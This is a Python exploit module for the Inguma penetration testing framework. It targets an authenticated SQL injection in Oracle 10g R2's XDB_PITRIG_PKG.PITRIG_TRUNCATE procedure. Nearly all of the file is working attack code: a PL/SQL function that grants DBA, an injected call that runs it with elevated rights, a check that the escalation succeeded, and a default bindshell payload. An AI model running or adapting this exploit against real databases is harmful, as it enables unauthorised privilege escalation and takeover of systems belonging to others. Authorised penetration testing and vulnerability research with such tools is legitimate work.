#!/usr/bin/python

"""
Oracle 10g R2 SQL Injection exploit for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

import sys
import time
import socket
import cx_Oracle

from lib.libexploit import CIngumaModule
from payloads.oracle import run_command

name = "orainject13"
brief_description = "Oracle 10g R2 PITRIG_TRUNCATE SQL Injection"
type = "exploit"
affects = ["Oracle 10g XDB SQL Injection"]
description = """
Oracle 10g is vulnerable to a remote authenticated SQL Injection. 
Tested in Oracle 10g R2.
"""

patch = "Fixed in CPUJAN2008"
category = "exploit"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

globals = ["sid", ]

funnyProc = """
CREATE OR REPLACE FUNCTION %FUNCTION%
  RETURN VARCHAR2 AUTHID CURRENT_USER
IS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO %USER%';
  COMMIT;
  RETURN NULL;
END;"""

funnyCall = """
BEGIN
  XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE('SYS', 'DUAL" WHERE %USER%.%FUNCTION%=1--');
END;
"""

class COraPitrigTruncate(CIngumaModule):
    target = ""
    port = 1521
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True
    command = ""
    sid = ""
    user = ""
    password = ""
    covert = 0
    connection = None

    def run(self):
        if self.target == "" or self.target is None:
            self.target = "localhost"
        
        if self.port == 0 or self.port is None:
            self.port = 1521

        if self.sid == "":
            print "[+] No sid selected, using ORCL"
            self.sid = "ORCL"

        if self.payload < 1:
            print "[+] No payload selected. Using 'bindshell' (payload = 2)"
            self.payload = 2

        link    = "%s/%s@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d)))" % (self.user, self.password, self.target, self.port)
        link += "(CONNECT_DATA=(SERVICE_NAME=%s)))" % self.sid
        print link

        self.connection = cx_Oracle.connect(link)
        self.connection.rollback()
        self.connection.commit()
        cur = self.connection.cursor()
        cur.execute("alter session set sql_trace = true")

        print "[+] Using payload run_command to grant DBA... "

        objRun = run_command.CPayload()
        objRun.idsTechniques = self.covert
        objRun.user = self.user
        objRun.command = "GRANT DBA TO " + self.user
        objRun.connection = self.connection
        objRun.method = 0
        data = objRun.run()

        self.function = objRun.function

        try:
            print "[+] Creating a funny function"
            tmp = funnyProc.replace("%USER%", self.user).replace("%FUNCTION%", objRun.function).upper()
            print tmp
            cur.execute(tmp)
        except:
            if str(sys.exc_info()[1]).find("ORA-00955:") > -1:
                print "[!] Warning! A previous attempt have been detected!"

        try:
            print "[+] Injecting data"
            tmp = funnyCall.replace("%USER%", self.user).replace("%FUNCTION%", objRun.function).upper()
            print tmp
            cur.execute(tmp)
        except:
            err = sys.exc_info()[1]

            if str(err).find("ORA-44003:") > -1:
                print "[!] Vulnerability appears to be fixed with DBMS_ASSERT, exploit doesn't work :("
                self.connection.close()
                return False
            else:
                print err

        print "[+] Verifying ... "

        sql = "select 1 from user_role_privs where granted_role = 'DBA'"
        cur.execute(sql)

        for x in cur.fetchall():
            print "[+] Exploit works! You're DBA."
            self.connection.close()
            print "[+] Opening an SQL terminal."
            self.runCommand("oratool", {"console":True})
            return True

        print "[!] Exploit doesn't work  :("
        self.connection.close()
        return False

    def printSummary(self):
        pass
